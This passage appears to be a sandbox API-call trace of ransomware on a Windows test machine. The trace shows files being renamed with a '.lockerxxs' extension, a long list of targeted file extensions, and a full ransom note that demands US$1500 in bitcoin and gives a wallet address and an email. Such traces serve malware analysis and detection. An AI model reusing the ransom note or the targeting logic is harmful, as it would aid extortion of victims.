SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.291] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x17957, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x17957, lpOverlapped=0x0) returned 1 [0091.292] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.292] CloseHandle (hObject=0x8c) returned 1 [0091.292] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\tmusvmojog5chco34.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\yZSY8MKRD4kJShU24AVn\\tmUsVmOJOG5Chco34.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\yzsy8mkrd4kjshu24avn\\tmusvmojog5chco34.jpg.lockerxxs")) returned 1 [0091.293] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b180b0, ftCreationTime.dwHighDateTime=0x1d5e7e1, ftLastAccessTime.dwLowDateTime=0xf274a3b0, ftLastAccessTime.dwHighDateTime=0x1d5dde4, ftLastWriteTime.dwLowDateTime=0xf274a3b0, ftLastWriteTime.dwHighDateTime=0x1d5dde4, nFileSizeHigh=0x0, nFileSizeLow=0x1797d, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="tmUsVmOJOG5Chco34.jpg", cAlternateFileName="TMUSVM~1.JPG")) returned 0 [0091.293] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0091.293] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a09cc0, ftCreationTime.dwHighDateTime=0x1d5e647, ftLastAccessTime.dwLowDateTime=0x1b8e2140, ftLastAccessTime.dwHighDateTime=0x1d5e1b4, ftLastWriteTime.dwLowDateTime=0x1b8e2140, ftLastWriteTime.dwHighDateTime=0x1d5e1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yZSY8MKRD4kJShU24AVn", cAlternateFileName="YZSY8M~1")) returned 0 [0091.293] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0091.293] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0091.293] lstrcmpA (lpString1=".", lpString2="PrintHood") returned -1 [0091.293] lstrcmpA (lpString1="..", lpString2="PrintHood") returned -1 [0091.293] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0091.293] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0091.294] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned 39 [0091.294] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a09cc0, ftCreationTime.dwHighDateTime=0x1d5e647, ftLastAccessTime.dwLowDateTime=0x1b8e2140, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d5e1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yZSY8MKRD4kJShU24AVn", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0091.294] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6e0069, cFileName="Recent", cAlternateFileName="")) returned 1 [0091.294] lstrcmpA (lpString1=".", lpString2="Recent") returned -1 [0091.294] lstrcmpA (lpString1="..", lpString2="Recent") returned -1 [0091.294] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0091.294] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Recent" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0091.294] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned 36 [0091.294] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a09cc0, ftCreationTime.dwHighDateTime=0x1d5e647, ftLastAccessTime.dwLowDateTime=0x1b8e2140, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d5e1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="yZSY8MKRD4kJShU24AVn", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0091.294] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650052, dwReserved1=0x650063, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0091.294] lstrcmpA (lpString1=".", lpString2="Saved Games") returned -1 [0091.294] lstrcmpA (lpString1="..", lpString2="Saved Games") returned -1 [0091.294] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0091.294] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0091.294] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned 41 [0091.294] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0091.295] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.295] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0091.295] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.295] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.295] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.295] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.295] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0091.295] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0091.295] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0091.295] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*.*") returned="*.*" [0091.295] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\" [0091.295] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="" [0091.295] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO DECRYPT FILES.txt" [0091.295] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\how to decrypt files.txt")) returned 0xffffffff [0091.295] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0091.296] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.296] WriteFile (in: hFile=0x88, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.297] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.297] CloseHandle (hObject=0x88) returned 1 [0091.297] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" [0091.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.ems") returned 0 [0091.297] lstrlenA (lpString="*.ems") returned 5 [0091.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.db") returned 0 [0091.297] lstrlenA (lpString="*.db") returned 4 [0091.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.dbf") returned 0 [0091.297] lstrlenA (lpString="*.dbf") returned 5 [0091.297] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.myox") returned 0 [0091.298] lstrlenA (lpString="*.myox") returned 6 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.myo") returned 0 [0091.298] lstrlenA (lpString="*.myo") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.qbw") returned 0 [0091.298] lstrlenA (lpString="*.qbw") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.qbb") returned 0 [0091.298] lstrlenA (lpString="*.qbb") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.qbm") returned 0 [0091.298] lstrlenA (lpString="*.qbm") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.qbo") returned 0 [0091.298] lstrlenA (lpString="*.qbo") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.qbx") returned 0 [0091.298] lstrlenA (lpString="*.qbx") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.qba") returned 0 [0091.298] lstrlenA (lpString="*.qba") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.qby") returned 0 [0091.298] lstrlenA (lpString="*.qby") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.qbj") returned 0 [0091.298] lstrlenA (lpString="*.qbj") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.ofx") returned 0 [0091.298] lstrlenA (lpString="*.ofx") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.qif") returned 0 [0091.298] lstrlenA (lpString="*.qif") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.mye") returned 0 [0091.298] lstrlenA (lpString="*.mye") returned 5 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.mbox") returned 0 [0091.298] lstrlenA (lpString="*.mbox") returned 6 [0091.298] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.eml") returned 0 [0091.299] lstrlenA (lpString="*.eml") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.pst") returned 0 [0091.299] lstrlenA (lpString="*.pst") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.ost") returned 0 [0091.299] lstrlenA (lpString="*.ost") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.idx") returned 0 [0091.299] lstrlenA (lpString="*.idx") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.dbx") returned 0 [0091.299] lstrlenA (lpString="*.dbx") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.sql") returned 0 [0091.299] lstrlenA (lpString="*.sql") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.mdb") returned 0 [0091.299] lstrlenA (lpString="*.mdb") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.fdb") returned 0 [0091.299] lstrlenA (lpString="*.fdb") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.wab") returned 0 [0091.299] lstrlenA (lpString="*.wab") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.dat") returned 0 [0091.299] lstrlenA (lpString="*.dat") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.txt") returned 0 [0091.299] lstrlenA (lpString="*.txt") returned 5 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.jpeg") returned 0 [0091.299] lstrlenA (lpString="*.jpeg") returned 6 [0091.299] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.jpg") returned 0 [0091.300] lstrlenA (lpString="*.jpg") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.png") returned 0 [0091.300] lstrlenA (lpString="*.png") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.php") returned 0 [0091.300] lstrlenA (lpString="*.php") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.cs") returned 0 [0091.300] lstrlenA (lpString="*.cs") returned 4 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.cpp") returned 0 [0091.300] lstrlenA (lpString="*.cpp") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.rar") returned 0 [0091.300] lstrlenA (lpString="*.rar") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.zip") returned 0 [0091.300] lstrlenA (lpString="*.zip") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.html") returned 0 [0091.300] lstrlenA (lpString="*.html") returned 6 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.htm") returned 0 [0091.300] lstrlenA (lpString="*.htm") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.xlsx") returned 0 [0091.300] lstrlenA (lpString="*.xlsx") returned 6 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.xls") returned 0 [0091.300] lstrlenA (lpString="*.xls") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.mp4") returned 0 [0091.300] lstrlenA (lpString="*.mp4") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.ppt") returned 0 [0091.300] lstrlenA (lpString="*.ppt") returned 5 [0091.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.pptx") returned 0 [0091.301] lstrlenA (lpString="*.pptx") returned 6 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.doc") returned 0 [0091.301] lstrlenA (lpString="*.doc") returned 5 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.dot") returned 0 [0091.301] lstrlenA (lpString="*.dot") returned 5 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.docx") returned 0 [0091.301] lstrlenA (lpString="*.docx") returned 6 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.7z") returned 0 [0091.301] lstrlenA (lpString="*.7z") returned 4 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.tar") returned 0 [0091.301] lstrlenA (lpString="*.tar") returned 5 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.bz2") returned 0 [0091.301] lstrlenA (lpString="*.bz2") returned 5 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.gz") returned 0 [0091.301] lstrlenA (lpString="*.gz") returned 4 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.mkv") returned 0 [0091.301] lstrlenA (lpString="*.mkv") returned 5 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.eml") returned 0 [0091.301] lstrlenA (lpString="*.eml") returned 5 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.msg") returned 0 [0091.301] lstrlenA (lpString="*.msg") returned 5 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.edb") returned 0 [0091.301] lstrlenA (lpString="*.edb") returned 5 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.accdb") returned 0 [0091.301] lstrlenA (lpString="*.accdb") returned 7 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.odb") returned 0 [0091.301] lstrlenA (lpString="*.odb") returned 5 [0091.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.java") returned 0 [0091.301] lstrlenA (lpString="*.java") returned 6 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.asm") returned 0 [0091.302] lstrlenA (lpString="*.asm") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.pfx") returned 0 [0091.302] lstrlenA (lpString="*.pfx") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.pem") returned 0 [0091.302] lstrlenA (lpString="*.pem") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.p12") returned 0 [0091.302] lstrlenA (lpString="*.p12") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.gpg") returned 0 [0091.302] lstrlenA (lpString="*.gpg") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.vsd") returned 0 [0091.302] lstrlenA (lpString="*.vsd") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.odg") returned 0 [0091.302] lstrlenA (lpString="*.odg") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.raw") returned 0 [0091.302] lstrlenA (lpString="*.raw") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.nef") returned 0 [0091.302] lstrlenA (lpString="*.nef") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.svg") returned 0 [0091.302] lstrlenA (lpString="*.svg") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.psd") returned 0 [0091.302] lstrlenA (lpString="*.psd") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.vmx") returned 0 [0091.302] lstrlenA (lpString="*.vmx") returned 5 [0091.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.vmdk") returned 0 [0091.302] lstrlenA (lpString="*.vmdk") returned 6 [0091.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.vdi") returned 0 [0091.303] lstrlenA (lpString="*.vdi") returned 5 [0091.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.lay6") returned 0 [0091.303] lstrlenA (lpString="*.lay6") returned 6 [0091.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.mpeg") returned 0 [0091.303] lstrlenA (lpString="*.mpeg") returned 6 [0091.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved 